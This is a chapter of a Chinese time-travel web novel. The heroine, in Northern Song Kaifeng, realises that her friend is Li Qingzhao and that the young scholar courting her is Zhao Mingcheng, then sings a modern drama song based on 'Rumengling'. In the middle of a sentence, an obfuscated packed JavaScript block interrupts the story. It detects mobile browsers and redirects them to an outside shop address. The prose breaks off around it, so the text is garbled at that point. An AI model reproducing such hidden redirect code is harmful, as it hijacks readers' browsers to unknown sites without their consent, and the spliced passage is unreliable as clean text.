尤其是这种郎有情妾有意的桥段，好看、爱看、还想看。 两人你看看我，我看看你，估计是觉得空气里有点过分暧昧了，葛立方轻咳一声，这才岔开话题。 “这位是某同窗，吏部侍郎赵挺之赵大人之子赵德甫。” 孟清圆扒拉一下脑海中为数不多的名人库存，赵德甫，嗯，也不认识。 看来国子监这届学生文学造诣都不太高啊，传说中北宋不是扔块砖头都能砸到一个词人吗，怎么她就碰不到呢。 这赵德甫长得倒是比葛立方还养眼点。 主要是高，个头在那摆着，穿的又不差。 笑起来露出一颗小虎牙，还真有点风流倜傥那味道。 以孟清圆的眼光看，这位勉强算是个帅哥。 放到后世那些选秀节目，估计能得个第五第六的。 站C位够呛，但成团应该没问题。 赵德甫先是对众人行礼，目光虽然平等的扫过众人，但经过鲍娘时，明显多停顿了一秒。 “诸位小娘子安，在下赵德甫，国子监太学上舍生。” 介绍完，他眼神又假装不在意的飘到了鲍娘身上。 旁人没注意到，却被孟清圆看了个正着。 这是看上我家鲍娘了？ 孟清圆有些许不爽，挺大个老爷们，第一次见面就盯着人家小娘子看。 哼，不检点！ 谁知那赵德甫又看了几眼后直接上前一步，对着鲍娘行了个揖礼。 “敢问这位娘子，可是礼部员外郎李格非李大人之女？” 鲍娘也察觉到了这人一直打量自己有点失礼，但毕竟是闺蜜准男友的朋友，面子还是要给点的。 “是我，怎么了？” 口气冷淡，听得出，面子给了，但给的不多。 “久仰李大人高名，曾于友人处得见大人诗作，‘步履江村雾雨寒，竹间门巷系黄团[1.]’。 字句清雅，意境深远，令人叹服。” 呸，马屁精！ 孟清圆鄙视。 赵德甫犹自不觉，还在输出彩虹屁。 “更听闻李大人膝下有一女，才情卓绝，所作诗词流传于市井之间。 才气更是不输蔡琰、谢道韫。” 呸，油嘴滑舌！ 孟清圆diss。 就这几句，这位仁兄在孟清圆这里已经被打上了轻浮失礼油腔滑调的渣男标签。 “我是写过几首诗，但也没你说的那么有名。 另外，我爹并不在此处，你若是要拍马屁，恐怕是拍错了地方。” “哈哈哈哈哈哈！” 孟清圆实在没忍住，直接笑出了声。 其他几人也没憋住，都用帕子捂着脸偷笑。 葛立方也觉得赵德甫今天有点子不太正常。 哪有一上来就对人家小娘子连吹彩虹屁的。 可到底是自己好友，见他被嘲讽，葛立方本想上前解围，没曾想他那吃错药的朋友还不死心。 “是某唐突了，某并非想要献媚与李大人。 实在是某常读娘子之词，今日一见，情不自禁。” “你既然说经常读我的词，那便说说，最喜欢哪首？” 原以为这么问能难为到对方，没成想赵德甫张口就来。 “某最喜欢那首常记溪亭日暮，每每读起，都甚觉妙哉，非天人不可写。” “原来是赵郎君还是我们鲍娘的词迷呢！” 阿芷看看晏娘又看看鲍娘，为了不让场面继续尴尬下去，只能硬着头皮上前打哈哈。 “那个……” 一直站在角落的孟清圆突然默默举手。 “你们说的常记溪亭日暮，后面那句不会是沉醉不知归路[2.]吧？”她弱弱发问。 “正是，正是！ 兴尽晚回舟，误入藕花深处。 争渡争渡，惊起一滩鸥鹭[3.]。 这位小娘子莫非也喜欢拜读李娘子的词？” “额呵呵呵呵呵……” 孟清圆看了看鲍娘，“李娘子？” 又指着赵德甫，“争渡争渡，惊起一滩鸥鹭[4.]？ 额哈哈哈哈哈……你该不会是叫李清照吧？” 不待鲍娘回答，孟清圆继续问：“你该不会还写过一首如梦令叫昨夜雨疏风骤，浓睡不消残酒吧[5.]？” “是写过…不过是前几日才写的，还未曾对外公开，只家父等人看过，阿圆你怎么会知道？” “昨夜雨疏风骤，浓睡不消残酒？ 敢问娘子，后面的词是什么？” 赵德甫虚心请教。 “试问卷帘人，却道海棠依旧。 知否知否？应是绿肥红瘦[6.]。” 孟清圆背的速度极快，毫无读词的平仄美感，全靠九年义务教育的下意识反应。 “知否知否，应是绿肥红瘦？ 好词，好词啊！” 赵德甫狂喜。 众人：得，又疯一个。 “阿圆怎会知晓我这首词？”鲍娘好奇。 何止是我知道啊，全华国十四亿人民几乎都知道。 孟清圆心中腹诽：“我听一位姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168377|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁的伶人唱的，要不我给你们来一段？” “来一段！来一段！” 阿芷来了精神，她平时最好音律，所以格外感兴趣。 于是孟清圆元符三年的金明池边，直接清唱了一首后世热播宋朝改编剧的大热插曲： 一朝花开傍柳 寻香误觅亭侯 纵饮朝霞半日晖 风雨着不透 一任宫长骁瘦 台高冰泪难流 锦书送罢蓦回首 无余岁可偷 昨夜雨疏风骤 浓睡不消残酒 试问卷帘人 却道海棠依旧 知否知否 应是绿肥红瘦[7.] 孟清圆唱功不见得有多好，但架不住这首歌好听。 毕竟是电视剧十大金曲之一，本身的旋律就足够美妙。 再加上是鲍娘等人从没听过的唱法，这一下子，众人都听呆了。 “真好听呀，就是这个曲调，却不像是如梦令的。” “管它什么的呢，真好听，阿圆，能不能再唱一遍呀？” “对呀，再唱一遍吧，真好听，还想听。” 于是孟清圆盛情难却，又唱了一遍。 这回不止鲍娘等人听，连池边钓鱼的其他人，也都被这调子吸引了。 “这小娘子该不会是哪个勾栏瓦舍的伶人吧，这曲子唱的真不错。” “说什么的，小娘子才多大啊，谁家瓦子会请这个年纪的伶人啊。” “这词写的真好，不知是哪位大才？” 孟清圆才不在乎周围人怎么议论呢，她突然想起什么，指着赵德甫：“你你你，你不会是赵明诚吧？？？” “正是在下，小娘子可是认识在下？” 五雷轰顶，简直是五雷轰顶啊。 岂止是认识啊，她当初读宋词，不止一次为李清照配了这么个渣男不值呢。 眼看着都对上了，孟清圆只觉得蒙在眼前的纱全被揭开了。 她就说怎么一见鲍娘就觉得亲切想贴贴呢，合着人家是她跨越了千年的偶像！ 所以难道说系统颁布的隐藏任务，其实是和李清照有关？ 难道是要自己搅黄李清照和赵明诚的婚约，从而让李清照离开渣男获得新生？ 这么想着，再看眼前这位对自己偶像明显图谋不轨的臭男人，孟清圆就没什么好脸色了。 她拉着鲍娘，“走，我们去那边接着钓鱼去。” 鲍娘被李清照拉着也不反抗，倒是晏娘匆匆朝葛立方等人行了个礼，这才急匆匆追上去。 “这位小娘子倒是挺有意思。 不过德甫，看上去对方似乎对你有点意见啊。” “我与对方素未谋面，何来意见之说，恐是小娘子怕生吧。” 怕生？ 葛立方面上微笑，可还真没看过谁家小娘子怕生到能在众人面前唱曲子的。 见赵明诚还盯着人家离开的方向，他拍了拍对方肩膀：“走，咱们也钓鱼去。” 这边鲍娘等人被孟清圆扯远了，她才好奇问：“阿圆，你认识他？” 这个他，指的自然就是赵明诚。 “听过。” 孟清圆郑重其事，“据说为人胆小不扛事，你可离他远点啊，别轻易信了他的花言巧语。” “好好好，听你的。” 鲍娘都点头应着，一副听进去了的模样。